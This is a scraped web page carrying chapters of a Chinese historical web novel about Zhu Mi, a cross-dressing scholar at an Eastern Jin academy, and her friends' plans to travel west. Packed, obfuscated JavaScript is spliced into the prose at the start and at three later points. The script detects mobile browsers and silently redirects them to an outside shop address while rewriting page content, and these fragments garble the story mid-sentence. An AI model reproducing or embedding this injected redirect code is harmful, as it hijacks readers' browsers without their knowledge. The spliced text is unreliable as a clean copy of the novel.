l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133782|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祝弥在身后重申:“没错,死也不去!”当她不懂外面是乱世吗?明明他就是那半个胡人! 被拒绝了的桓错低头看手上的玉,玩转半天,也不说话,不知又在打什么主意。 一时气氛僵持,王洵乐也叹气。结局已是定局,虽然双方都安然接受,但他还是没由来地烦躁。“唉!”气叹一声,袖子一甩,推门出去了。 留下的人面面相觑,哪见得做主天下的琅琊王氏这般“待客无礼”过?——那人心情很糟。 几人当即追着人出去。 “洵、乐!别气嘛!”庾彦庭在背后刻意用含混的拖腔喊他。 走了几步,王洵乐停下了,抬手自看掌心,忽然说:“很烦啊……徒劳一场……恼火得很。” 习惯掌控,偶有失控就会受不了。又像天命谶语似的,精心做好了避开的计划,最终却逃也逃不掉。 桓错道歉:“这是我自愿的,我一人承担。” 祝弥朝桓错拱手:“那就请你一人承担?” 桓错改口:“我和梦成二人承担。” 祝弥:“梦成不承担。” 王洵乐道:“灵玦,我不是怪你,也不是怪你们。都是我自己的问题。” 沉吟片刻,他又捂脸转口:“原本我以为书院生活不过就是从旦至暮地读书明理,没想到短短时日经历的那些鬼闻异事……还没咂摸出趣味来……转眼之间灵玦忽然要走,还要带着梦成,而彦庭向来就爱云游不受拘泥,势必会同行。你们三个终将离开,只留我一人……” 桓错连忙安慰:“最长一年,我们做了事就回。” 祝弥无语:“我真求你了,不要加‘们’。” 庾彦庭抚肩王洵乐,问:“不如你就一起来呢?” 王洵乐苦笑一声,轻轻摇头。 桓错继续安慰:“我把彦庭留给你,这个不是必需之物。” “啧?”庾彦庭不可置信,忍着怒意,缕清逻辑,“第一,休想左右我。第二,我不是‘这个’。第三,我就不是必需之物吗?!” 祝弥续上:“第四,我就一定是必需之物吗?!” 王洵乐又笑又叹。如果说桓错是阴晴不定,那此刻的他就是半明半暗,一张脸上又愁又畅,瞧着古怪,又让人同情得很。 祝弥问他:“王家大郎君的职责很重吗?另外这两个怎么没点责任感?” 王洵乐还在低头沉吟,庾彦庭替他张口,手背到脑后,瞧着天空念顺口溜似地风凉道:“当然各家有各家的处境了。我呢纨绔一个,爹娘疼爱只宠不训,想做什么便做什么。灵玦家里呢,军功授爵实干起家,历练当比习文重要。洵乐家就并不一样了,风流不衰、冠冕不绝的累世盛名,高高架上去了,谁能下得来。离经叛道的事做了一件,他家里人不打骂,外人的唾沫星子都能淹死他。哈哈。” 王洵乐的脸色明褪暗盛,可怜之意愈加。 “下得来!”祝弥朗笑一声不以为意,环问三人:“今晚想不想吃烤鸡?” 话说到鸡,忍冬书院所有人的脑海里,存在感最强的必属书院里每日卯时准时打鸣的那只红冠花尾大公鸡。 此鸡是山长养在先生舍院里的,生物钟的可靠程度几乎与测时的日晷、刻漏媲美。平日除了打鸣就是神奇十足地在院内巡逻、吃虫,地位在学生们心中堪比半个严苛师长,敢怨不敢言的那种。 “你指的不会是山长的那只报时鸡……”王洵乐有不好的预感。 “对!” 20. 你挑着担我牵马 翌日晨起,第二轮会讲没有按照原定时间开始。学堂内,外院的学子早早就候着,已是熙熙攘攘。主持会讲的管事也匆匆而来,焦急不堪,却不给任何解释,只对着沸沸人群连呼肃静,肃静。 等到先生们扶冠整袖、步履颤颤地从内院鱼贯而出,会讲已经推迟半个时辰有余。山长虽一副睡眠充足的气色,但是脸色铁青,学生见了先自动后退七尺,再远远地嘹亮一声问候:“山长早啊。” 山长眼睛一瞪胡子一吹,说不出一个早字。 上一轮会讲毕竟持续太久,先生们累过头多休息一下也可以理解。学生们起哄也只是因为师长作为表率居然也会有不守时的状况发生,深感人非圣贤,或大笑或窃喜。 书院另一头的东斋,某间学舍里,两张榻上横七竖八睡着四个人,全然不顾学堂前已经乱了套,自顾自睡大觉。 祝弥先醒了。 一醒就很想把身旁人踹下去。 昨晚她要气死。 怂恿王洵乐干坏事,偷鸡烤鸡到半夜是快乐,但是临睡前那两个外寝人说什么也不肯回自己寝室,带着酒壶非要挤在一起继续夜聊。想沉脸强硬拒绝,结果王洵乐眉头一皱嘴角一瘪,又要忧郁起来。她只好让步,让他们三人一起睡。闭门关窗,几人在榻上一阵瞎聊瞎闹,忽然桓错不知又和庾彦庭起了什么龃龉,起身,像个影子似地俯视她,幽幽开口:“我要睡你这边。” “不行。”她看也不看他。 “行,你和我去西域,我让你独享一榻。” “也不行。”她不厌其烦又重复一遍。 那人二话不说,轻轻翻身上了床榻,躺在祝弥旁边,被子合上。 祝弥:“?” 眼睛闭上。 祝弥:“??” 抬脚踹他小腿,纹丝不动,伸手推,险些被他抓住手。 他睁眼,对上祝弥:“他服散了,燥热需要散发。挤不得的。”声音提高了点,问另一人:“洵乐要不要来一起睡?我们中间还有空余。” “够了够了!”祝弥作罢似地哼一声,裹紧被子转身对墙。 服散说的是庾彦庭。 吃鸡夜聊饮酒上头,他说难得开心,又得知祝弥不曾见识过服送五行散的过程,就痛快展示给她看。服下之后人先是莫名亢奋,而后渐渐消停下来,解开衣襟躺在床上,一边喊热一边昏睡过去了。 “你们都会服食这个吗?”墙角的人问,声音凉凉。 她记得五行散是这时代贵族社交的“通行证”,崇尚五行一教的风流人士齐聚一堂清谈三玄,谈累了就服五行散。近百年前的竹林七贤,就是聚众服散随地昏迷的鼻祖,久而久之这一行为竟成世族间的潮流风尚。王家有个前辈有“东床快婿”的典故,不也是服散服得见客不能,反倒变成豁达自若的美名吗? 说来也好笑,祝弥这几日随着他们在钱唐山阴之间往返多趟,两边城里都见过不少服了散随意昏倒于街边的人。其中有人是假装食散晕倒,只为了装阔摆谱冒充上流人士,见快马经过,连滚带爬小命要紧地让开位置。有些人是真晕,像块酒酿的死肉似地不动弹,最初祝弥还忍不住摇醒几个问:家在何方可需要送医? “听彦庭说能‘神明开朗’,被他哄着服过一次。我不喜发热出汗。”说到这,桓错忽然有些纳闷,侧头问,“对了,你也好久没服散了?” 另一张床上的王洵乐又是心事重重地叹气,犹豫道:“我……没和任何人说过,当年,怀真行军的目的地是书院的消息传来,我因正在发散,头昏嗜睡……赶去晚了,就晚了……” “……” “……” 桓错祝弥二人皆是沉默。 他苦笑,继续道:“从前不懂事,盲目从众酿成大祸,已是愧悔得痛彻心扉。还一直受长辈器重,洵乐惶恐不已,不敢再让他们失望……” “洵乐不配畅意人生。” “……王洵乐!看来是刚刚的鸡吃的还不够!我去把那两只鹅也给你烤了。”祝弥作势要起身。 先前从抓阄分工、抓鸡烤鸡,到最后分鸡吃的时候,王洵乐就一直笑得不停。那时候怎么不见他说自己不配畅意。 桓错一听自己的鹅有生命危险就黑脸了,把起身的人拽躺下来,有些无语:“我原来还当你每日晨起时说要把那鸡杀了是气话……那么点心眼全拿去记仇了。” 祝弥坦然:“没错,我耳朵里再出现‘西域’二字,铁锅炖大鹅就是谶语。” 一整个晚上,桓错对祝弥已经话里话外、暗示明示地说了无数遍西域了。她没发现这人还有点不达目的不罢休的执着。烦人得很。 “你敢吗。”他问。 “逼急了我什么都干得出来。”她回。 “狗急跳墙吗。” “我真是把你狗个了头。”她破防地回。 “噗——”王洵乐就此轻声笑出来,笑着笑着变成开怀大笑,最后整个房间都是他的“哈哈哈”在回荡。 一旁熟睡的庾彦庭嘟嘟囔囔翻了个身,含糊几句“吵死了桓灵玦”。 笑完之后就好睡了,平静下来的宿舍内彼此均匀的呼吸声轻轻。可祝弥还是最后一个睡的,又是早上第一个醒的,强忍缺觉的起床气,盯着一臂之外桓错睡着的脸,半晌。 很快另外三人陆陆续续也醒了,各自收拾好后装作无辜又懊恼地去学堂里刷脸打卡出席。从山长铁青的脸色以及脸色中掩饰不住的尴尬,可以判断出一切无事发生,他们安全。 毕竟犯人们的反侦察意识超群,王某人绝对不能让这件事留下任何蛛丝马迹。绑架手法利落干净,被害鸡从被劫到献身,符合人道主义,毫无挣扎痛苦,第一现场在山脚下的钱唐江边,罪证随着水流无影无踪。 今日会讲按时结束,王洵乐几人向王妙一引荐了祝弥。 面前站着一国之后,祝弥行礼之后就不敢抬头,听到什么就回答什么,也不知该多说什么。低垂视线只敢停留在对方交握的双手上,纤柔素白,指尖随着说话一点一点。忽然那手在祝弥视野里放大,直冲她面庞而来,王妙一柔和带笑的声音响起:“抬头看看我。” 跟着指尖抬脸,映入眼帘的是一个青衫绛裙,华带飞髾,笑意盈盈的……姐姐。 一张明媚含笑的俏脸,让高高在上的“皇后”二字顷刻烟消云散。站在祝弥面前的,是一个看起来很可靠亲和的姐姐。 和寻常人别无二致。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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进轿后又掀起车帘,朝台阶上的人喊道:“洵乐,聚散离合,无常才是常态。” 王洵乐扯起一只嘴角,表情有些意味深长。这几日,这人就是莫名认定了其他三人都会离他而去,一直郁郁寡欢。 祝弥又安慰:“你们青梅竹马忽然都要离开,难过也可以理解。到时候我会好好陪你学习,他们去旅游,我们练写字。三日后见!” 桓错在一旁面无表情,学大师念经似地插嘴:“梦成西行之路上若是想继续学习,灵玦勉为其难,可以当你的先生。” 祝弥作出一张哭脸:“我真不去,求求你放过我吧。全家老小都指着一个六代单传的我呢,你讲点良心。” 会讲结束,那位寂照大师也该启程了,她跑回上虞就如同鱼如大海,不必再担心某天睡醒被丧心病狂的桓某绑到什么向西疾驰的马车里去了。 只是,又得找新舍友。 “一路平安咯。”庾彦庭搂着王洵乐笑着朝她招手道别。 祝弥招招手,甩下帘子,马蹄声起,一路向南。 21. 你挑着担我牵马 其实要回家,如何和家中长辈相处,这是新的课题,祝弥也有万分忐忑。 刚穿越来的时候,全家上上下下好像都在忙着筹备她的离家事宜,没空理会她这个因为即将出远门而情绪低落的当事人。而且十六岁青春期的少年,心理情绪起伏之大,本来就琢磨不定。或许小满和祝弥的差异被当时混乱的情境遮挡住了,这次回家,将会平凡日常得如同过去十六年来日复一日的每一天,她能在祝父祝母面前演好女儿吗? 车轿内,主仆二人相望。 “……阿苓,我有没有变胖?” “没有娘子!书院的饮食是不是很差劲?!” “还好还好。那我有没有怪怪的?” “不怪!娘子去一趟书院,有了好多朋友!阿苓好开心!” “阿苓,你看我被先生罚抄书,手都起茧子了。” 被阿苓心疼地抓着手看,祝弥能稍许安心了,贴身的婢女应该是最熟悉主人的了,阿苓说不怪,那她可以肩背挺直,就是祝弥本弥。 回家之前她专门去藏经阁翻了二十几年前的职官志,从一众王桓庾谢和司马中看见了有且仅有的两个姓祝的。祝玄,任太史令,应该是祖父。另一个在另一部门,叫祝参,应该就是父亲。很好,至少她知道了自己的家底。 如果回家父亲察觉到什么不对劲,拷问她,“你不太像我女儿,我叫什么名字?” 她就可以满分作答:“你叫祝参,年轻时曾任中书侍郎。” 在书院的时候她也做了一些世俗的调研,比如说广义上的“士族”如何定义。同学不假思索告诉她:“累世达五品即是士族。” 她脸皮很厚,听不懂的继续问:“累世具体指几世?” “一族三代。” 一个家族里有三代人都曾出任五品官员,即可称为士族。 那没跑了,她家代代都是五品的太史令,到了父亲祝参这代才突然不干卜天占星的老本行,转去当天子的秘书,幸好也还是个五品——祝家确实勉勉强强刚好够得到士族的门槛。 再去看姓王桓庾谢的,几乎都和姓司马的并排交错着,从最高一品公的爵位就开始出现异姓,一众司马中有一个桓,一个王。然后是二品的大将军、持节都督等,三品以下的尚书仆射称号将军等等更是多如牛毛。 五品官,真的很小呢。 难怪庾彦庭总说婚约是他的痛处,还以此嘲笑他。 一路车马通达,回到上虞时是晚饭时间,餐桌上竟然只有母亲一人在焦心地候着,一见“学业有成”的儿还家,立即泪眼婆娑,迎上来一边说着“我儿长大了”一边和她解释,信来得急,祖父出游在返途,父亲在道观正闭关,都是明天再见她。 无妨无妨,好在母亲很关心她,握着她起茧子的手心疼不已。祝弥心里暗自松口气。 第二日她就感受到了一点作为独生子的“小霸王”地位,似乎整个祝家都是以她为中心而运作的。晨起时还眯着眼睛打哈欠,抬起手来就有衣服自动穿上,阿苓在身旁伺候。 不动声色地看着阿苓从衣柜众多衣服里挑出一件外衣,她问:“我在家也还穿男装吗?” 阿苓原本还在絮絮叨叨地说话,听见她出声,话和手都一顿,转而道:“全凭娘子意思。” “那我要穿那件。”她想穿漂亮鲜艳的女装,随意指了一件配色清爽质感清透的衣裳。 衣服将将系好,门吱呀一声,母亲的声音传来,“弥儿,今日你想吃什——” 进来的母亲绕过屏风,视线一撞上她,话也没说完,神情情绪晾在一半,竟不顾气氛突兀,转身就要离开,一副好像撞见女儿换衣的窘迫感。 “阿母?” 见祝弥喊她,她又生硬止住脚步。 “肉。母亲,我想吃猪肉和羊肉。” “好。”母亲便快步往外走了。 转眼看阿苓,阿苓正低头,还在给她系带子。 “阿苓,还是穿刚刚你挑的那件吧。”活动了一下肩颈,祝弥不经意地说:“这件,不太舒服。我果然是胖了。” “好的娘子。” “叫郎君。” 夕食的时候才见到祖父和父亲。父亲一副饿过头似地脚步虚浮,对她简单说了声“回来了”便入座。祖父则和父亲完全相反,精气神像一株苍劲枯瘦的老松,经过时还摸了摸她的头。 祝弥端着碗大口吃饭,母亲欣慰地几乎眼含热泪,不停给她夹菜夹肉。一日下来,家庭生活也不过如此,没有太多话,没有太多煽情,时间到了就会坐在一起吃饭而已。 好像也就如此了,虽然这是小满第一次正经在有父母长辈的餐桌上吃饭,但是人家父母不是,人家的视角里只是养了十六年的孩子出门上学一个月归家而已。难道还要对方冲上来给她个大大的拥抱说欢迎你加入吗? 再说了,她是鸠占鹊巢,是一只替生的坏杜鹃。杜鹃如果有良心,就什么也不用多做也不要贪心,好好地扮演原主,乖乖把母亲夹到碗里的肉吃光就好了,不会有人对此心存异议。 晚上却翻来覆去睡不着,在床上随便拿了本书翻看许久,翻了半本都毫无困意,烦得她起身想喝水。才坐直,影子骤然一晃,烛火灭了,视野一片漆黑。 祝弥:“……” 她老实躺下。 又一声细微凌厉的“咻”声划过,墙上留下“叮”的一声。 兰亭那日一模一样的情形。 “桓错?!”祝弥悄然松口气,随即气急败坏,压低声音朝黑暗喊。 一声轻笑从黑暗中回应她。 “你……你拿吓死我当招呼打啊!”祝弥忍下脏话,起来续了灯。 重新恢复亮光,窗扇半开,有凉风漏进来,不速之客已经怡然自得地坐在桌子前,举着茶杯,细细品茗,举动神情之专注,好像他是为了这一口茶而来似的。 “路过。”上虞不大不小,祝府也很好找。桓错都不需要问路。祝弥的房间更好找,深夜的东厢房,有唯一亮着灯的窗户。 “路过个屁!”这人能保证一会绝口不提西域二字吗? “真是路过,脚不沾地累得很,讨口茶喝。”桓错又倒一杯茶,一饮而尽。第一杯是装酷,第二杯是真渴,一晚上的奔波之意尽显,又皱眉看向她:“你怎么总是这么晚不睡?” 祝弥白他一眼,心道:有晚睡的习惯还不是怪你啊!坐到旁边来也要喝水,没好气道:“那喝够没,喝够就快走了。再说一遍,我不去西域。” 手里的杯子被抢下,又被推推搡搡地赶到门边,桓错摸摸下巴,想起什么似地自言自语:“既然来都来了,顺便去看看我那未过门的祝娘子吧。” “可是隔壁那间?” 又被拽回桌子边。 “不许去!”被威胁的祝弥气得磨牙,“你到底来上虞做什么?不会来硬的要绑走我吧?我喊人了啊。” 桓错终于纡尊给出来意,轻声道:“我为玉玺来。” 王妙一那边有几个模棱两可的消息相证,最后一个接触到玉玺的宫人似乎曾居住在上虞。他便领了这条线索查探。只是经年久矣,一切物是人非得堪比沧海桑田,连问五个旧人老妪,和她们车轱辘似地问话口舌都说干了也查不出什么。没有结果也在意料之中,返程中路过祝家,控制不住自己想当梁上君子,翻墙看见果然有间屋子点灯不睡,他就更得进去提醒提醒那夜猫子:天干物燥,小心火烛。关门关窗,防偷防盗。 是以此刻,夜猫子正瞪着他,一脸不爽:“我真不去西域。” 他有些无语,又说:“我这才坐下来,两杯茶还没喝够,反倒是梦成不待客,一直自顾自地提西域。你要是真想去,我很欢迎的,不必故作扭捏。” “我待客不待贼。” “彦庭很期待你来。” “有彦庭还不够吗,寻一处安葬鬼魂的地方,他那个罗盘就可以。” “你知道的,他说你不去他就不去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143333|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “鬼扯!那就都别去好了!”祝弥快气笑了。 ——“娘子?” 不小心说话声音大了些,门外阿苓的声音响起。二人当即闭嘴收声。 祝弥一拍脑门:完了窗没关。 想也没想,一人紧急吹灯,另一人不做多想,自来熟似地翻身上床,纱帘掉下来。 完了!阿苓怎么喊的还是娘子! 祝弥清清嗓子,沉下声音,故作不耐朝外喊:“我是郎君,到底要说几次。” 阿苓的身影一颤:“哦哦……郎君为何还不睡呀,可是有心事?” 心事大大的有,在她床上。 阿苓一副要进来的样子,她连忙也躺到床上。阿苓继续问:“可是今日输给阿苓三百钱不太开心呀?郎君,明日阿苓带你去吃鹅好不好?不是一直说要吃吗?” 哎哟喂。“好好好。阿苓快回去睡觉吧,我马上也睡了。” 只见阿苓还是进来整理了茶杯、关好了窗,最终轻悄悄出去了。祝弥不由得松一口气。 “啧。”身旁人不耐一声。 祝弥掖好自己的被子,转头,尴尬赔笑着:“这小侍婢是刚来的,东西左右不分,也分不清我和妹妹。说的话不得当真的。” 鹅不鹅的也听不懂她在说什么。 黑暗中转头也看不见人,只是有呼吸和热度表示存在,但是他没说话。 祝弥:“……” “床榻还挺舒服,跑了一整晚也累了,要不今晚我睡在这吧,今日事明日再说。”风凉一声,被子被扯了扯。 “快滚啊!” 他又不说话了,她也不知道还要说什么。二人又是一阵沉默,手上却暗暗较劲似地相互拉扯被子。 最终是祝弥认输了,掖着被子最后一角,无奈道:“其实你有的是手段逼我去西域,对吧?” 不然王洵乐也不会早有预见地那般伤心,庾彦庭也不会和他的死对头开开心心地筹备西行诸事。 他们比她要了解他。 身边人慢慢一字一字回:“我想用一种,你不会讨厌我的方法。” 祝弥听得心里发毛又打结:“有想出来吗?” “刚刚想出来一个。”对方的声音居然有些雀跃,像是想笑:“让寂照再等我几天,我和父亲立刻带着三书六礼来你家,先把婚结了。” “?” “用几天时间把你妹妹哄高兴了,再让她来劝你。这样梦成为了妹妹,应该也会把妹婿的事情放在心上一点。” “有病?”祝弥像听惊悚鬼故事,忍不住举起拳头往他脸上招呼,被他轻轻一手拦住手腕。 是以此时,二人在祝弥的房间还像在书院时事急从权那样同卧一榻,都不觉有异。祝弥连忙把手甩开,怒瞪他几眼,视野适应黑暗后,看得见他脸上调笑的神色,还有堪比月色的明亮眸光。 祝弥烦得拿被子盖住头,纠结几瞬,又露出来,不甘心地质问:“你母亲在西域还有想见的人?” 不然手眼通天的桓氏也不会这么需要她,唯一能扶乩的她。 “是。” “哼,贵人还真是可以心安理得地贪心。” “……” “……” 最终她长叹一声,终于不情不愿又认命似地: “第一件事,祝家六代单传,我的小命贵得很,不能让我死。” 听见她语气转变,似是松口答应,桓错语气舒畅,贫嘴贫得十分慷慨:“无妨,梦成若是真有不测,我会入赘祝家,给你家生二十个都能见鬼的祝家人。” 祝弥“啧”一声,瞪着眼睛,威胁似地高高举起拳头。 旁边人见状立即低头拱手,一副道歉的姿态,“梦成当然不能死。路上有事灵玦第一个上,有刀我拦,有剑我挡,我死了都不会让梦成少一根头发……不,一根手指头。” 祝弥不理他的巧舌,一字一字清晰道: “第二件事,回来之后,你我退亲。” 22. 你挑着担我牵马 祝弥昨日在饭桌上就感受到了家里所有人都充斥了一种破罐破摔要死不死的看开人生之意。祖父超脱,父亲消极,母亲似有嗔痴,这三人看起来,好像明日是世界末日都无所谓。 不过祝家这副怪异模样,其实她也可以理解。 社会环境如此哪怕到了现代,传宗接代延续香火的观念还是那么重,更别提快两千年之前,祝弥此刻的处境了。 家中无子,在封建时代下就好像有的家庭还活着,其实已经社会性死亡了。而祝家人死要面子,妄想再苟延残喘个三五年,就逼唯一一个女儿扮男装充门面。 所以祝弥不得不去书院上学,哪怕作不出文写不出字,也代表祝家还有男人可出面。所以她在家换回女装,母亲会心惊,婢女也不敢多言。 祖父年迈,本该可靠、正当壮年的父亲却在朝无官,清闲得去道观研究玄学,还遮不住的一脸阳痿相。祝家的一切倒悬之急,似乎都悬在了女扮男装了十六年的祝弥身上。 恐怕家里死气沉沉也是因为这场桓祝之好,毕竟四大世家之首的桓氏横行霸道,微微张个口,就把孱弱的祝家吞噬殆尽了,让祝家的一切挣扎都显得徒劳。 古老渊远的卜天祝氏已经完了,招赘婿的念想都没了,彻彻底底地绝后了。 既然如此,杜鹃鸟仗着自己年轻聪明,身强力壮,姑且救一救这祝家吧,就当是还这再生之恩。 ——“你我退亲?” 有点出其不意,桓错重复了一遍她的话。 祝弥解释:“你桓家,我祝家,很难理解吗?” 对方陷入沉吟,几瞬后声音响起:“这是妹妹的意思吗。” 祝弥忍不住笑了:“你又没见过她,还能心生不舍吗。放心,我的意思就是妹妹的意思。” 桓错:“……” “没体会过‘不被选择’的落差吧?是不是做梦也没想到还有女郎不想嫁你?” 他也失笑一声:“梦成还是太高看我了。” 听了这话,祝弥脸色一变,声线陡转:“是说这件事你做不到?真没用啊——” 还没嫌弃完,允诺终于从他口中而出,四个字干干脆脆: “一言为定。” 两人都松了口气。 送他走的时候,祝弥先在外面张望有没有阿苓的踪影,见安全,赶紧招呼他出来。那人却突然摆出款款的作态,一步一步似是难舍,像有一团洇不开的墨和屋内的漆黑融在了一起。可祝弥早已失去耐心,这件事情应该越分明越好。黑就是黑,墨就是墨,搅浑在一起,会横生非分之想,注定招致不幸。 而祝家和小满,已经够不幸了。 便不由得皱眉“啧”了一声催促,“再慢点我反悔了啊。” “梦成,”黑色的身影依旧不紧不慢,语气诚恳,“我从未想过和祝家退亲一事。梦成的双生妹妹,品性才貌想必也是顶好的。” 没等祝弥不耐烦,忽然他笑出来,心服口服似地:“不过梦成不光能见鬼魂,看人眼光也实在独到……灵玦的确,所非良缘。” 轻叹两息,“日后上你家退婚,梦成记得替我和妹妹解释,一切都是桓家的问题,是我不好,她没有半分——” “知道了知道了。”祝弥就要上手推赶他。 见他站在廊下,莫名突然左顾右盼,离去的方向也不太对,朝着内院的墙而去。祝弥大惊失色,低声:“回来,走反了!” 那人轻飘飘回:“没反,我怕来日后悔,还是去看一眼妹妹再做决定也不迟。” 祝弥连忙揪着袖子给他调转方向,骂也懒得骂了:“不许耍宝。” 说着举起一小指头比到他面前,一副威吓的架势。 桓错微微向后躲:“怎么?” “小指伸出来。” 桓错听话照做。 只见她的小指勾上来,小指对勾,手腕一弯,两人的大拇指默契一碰,像是对按印章,还在空中晃了三下。 “拉勾上吊,一百年不许变。” 桓错诧异:“这是?” 祝弥:“食言者会被鬼拖去上吊。” “噢,这么骇人呢……”桓错嘴角勾起来,低眼看二人拉勾的手,“不是有洁癖吗?” 祝弥一脸不爽地盯着他,也没有好语气:“严肃一点。这是我祝家驱使凶恶魂魄的秘方法门,劝你答应了的事情不要糊弄我,不然我们姓祝的有的是法子让你好看。” 对方轻笑一声,“灵玦知道了。” 便终于大步往外走。 “桓错,”祝弥忍不住又喊住那背影,“你也别想太多,婚姻是终身大事,两情相悦为上佳。不要太听父亲的话。” “嗯。” “也不要不把自己的感受当回事。学学洵乐,多和人说说,别闷着。” “嗯。” “你,你日后一定会有怎么看都满心欢喜的女郎相伴的。不要灰心。” “好。走了。” 一夜之间,好像临时起意似地做了一个很大的决定。但有一团气闷终于从胸中消散,祝弥松快地吐气两下,就此睡去。 第二日中午王皇后的亲笔书信便传来,信中言辞恳切地请求“才兼文武”的祝郎协助“勇略冠世”的桓郎,率领一支羽林军一同护送寂照大师前去鄯善取胡经,促进东西交流。不日后从山阴出发。 祝弥一边听信一边不由得暗下感慨那人的动作实在快,又或者说这封信是早就备好了的。 祖父父亲没有多言,相互看了一眼,便应诺了。 母亲等王皇后的使者走后才敢发作,气得又摔又砸,把父亲和祖父都吓走了。祝弥尽力去哄,母亲开始哭。不得他法,为讨母亲舒心,所以她只好晚上又多吃好多肉,还有一碗米饭,加上一碗长寿面。 嗯?长寿面?其他人都没有,就她单独有的一碗长寿面。 今日她生日? 又一筷子挑起来默默确认,确实是一整根的长寿面。自认家里也算宠爱祝弥,可寿辰……就一碗面?祝家六代单传的独子的寿辰都不小小操办一下,是不是有点奇怪? 事先声明,小满绝不是喜好骄奢淫逸还由奢入俭难的那种人,她只是对一切都不明就里,只能猜,只能不动声色地观察。 桌上的长辈也没有多说什么,她便也不多说什么,装看不见地吃面。 或许今日不是自己的生日,吃一整根的面条只是祝弥本人的食癖。 晚饭后父亲被母亲不情不愿地拉进房间里,似是有话要说。 祖父坐在院子台阶上喊她。 “弥儿,过来帮祖父一个忙。” 只见祖父屈膝坐着,一手提灯,一手执笔,膝上放置一册子。 “弥儿,你可看得见那颗最亮的星星?”祖父把灯给她,抬手往上一指,那一片天空中最亮的那颗,她认识,是木星。 祝弥点点头。 “那颗是岁星。祖父年纪大了,这灯火晃眼得很,替祖父把岁星附近的星星都画下来,大约十来颗。” 接过笔,她便以木星为基准,仔细辨认,抬头又低头几番,点出周围看得见的几颗星星。画完后一脸成就感地递给祖父,却发现祖父的视线一直在自己身上。祝弥便冲祖父笑笑。 祖父也笑,又摸了摸她的头,接过纸笔,在星点之间连上了线,并告诉她,这几颗像牛角的为牛宿,那几颗是女宿,民俗间多称为牛郎织女。 祖父还说,祝氏先祖在很多年前发现了岁星每十二年就会回到原地的运行规律,并把岁星运行的这一周天野划分成十二个星次,抬头一看今夜岁在何方,便可知今夕是何年。 周朝当时诸国割据,纷争不断,各国都用自家国君在位的年号纪年。这导致了纪年时间各不相同,史书文书记录混乱不堪,百姓的农耕时令也险些失衡。 农耕自古以来就是大事,是国本,于是各国君主便把这种抬头即可得、万里皆大同的天象纪时方法推广下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151018|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,岁星便成为当时最主流的纪年法。 并且天象自古以来就能预示君权更替,他们认为,岁落之处,天命所归,于是祭祀、出兵等等国家大事之前都会问问天官,卜一卜岁星的凶吉。 祝弥问:“今年岁星是到了哪里呢?” 祖父信手高指两处,“此为斗宿、牛宿,岁星行于其间,今年,岁在星纪。” “明年呢?” “行至玄枵。” 祝弥笑出一脸天真:“那祖父不必过多担心,岁在玄枵,弥儿定会平安归家。” 祖父也仰头大笑,又摸着她的头:“如今,世人已经不用岁星纪年了。” “为何?” “不够准啊。”祖父长叹一声,“岁星纪年流传了八百多年,出现跳辰十余次,比如今年本该走去玄枵的岁星,一下子跳到了娵訾,莫名多走了一段。岁星超辰,天象有异,导致纪法错乱,天下民生亦大乱。祝氏先祖无论怎么调整误差,都算得不尽人意。后来,有了更好的太岁干支纪年,天家便不敢再用岁星了。” “就好像,研究岁星如此多年的我们祝家,也不被需要了。” 祝玄说完,目光在祝弥脸上,却像是在望一个很远很远的地方。 祝弥和王洵乐那样的人相处久了也擅长消除郁闷气氛,抬头望着木星,用老人听了就会欣慰的天真声音,说:“可是,地上的人需要不需要都和岁星无关呢,它只是自顾自地亮,自顾自地走。” 祝弥朝老人眨眨眼:“我觉得,我们算不对它的规律,只是时候未到。没准以后弥儿孩子的孩子的孩子,只需看一眼就算出来了呢。” 祝玄顷刻转笑道:“愚公移山之理倒也是。不过这些事和你一个小儿郎也没什么关系。”沉吟几息,又说:“且去西行吧。你父亲行文路不通,看看我们弥儿能不能闯出一个武将美名,笑一笑他吧。” 祖孙二人坐在星空下,祝弥被祖父连摸脑袋摸得晕了头。祖父又给她指了指其他同样明亮的星星,每颗星星都有自己的运行规律,不同的星象用法不同,一些可以用来纪年卜算,另一些可以用来记时、辩向。为了方便代代流传记忆,每种星象背后还有古人想象出来的神仙故事。 看了一晚的星星,也见到了短短几个时辰内的斗转星移,她起身回房时已经子时,阿苓还在等着她伺候洗漱。 一边洗脸净手一边故作迷糊问阿苓:“阿苓,我离家去书院前两日,在家中可有发生什么吗?” 那是她穿越而来的那天,睁眼是躺在床上,但身体并无其他不适。 穿越之前的原身,一般来说不是溺毙就是病亡,才能让另一个时代的孤魂野鬼轻松接手一具肉身完好魂魄全无的空心躯壳。可祝弥原身,好像只是睡了一觉醒来。 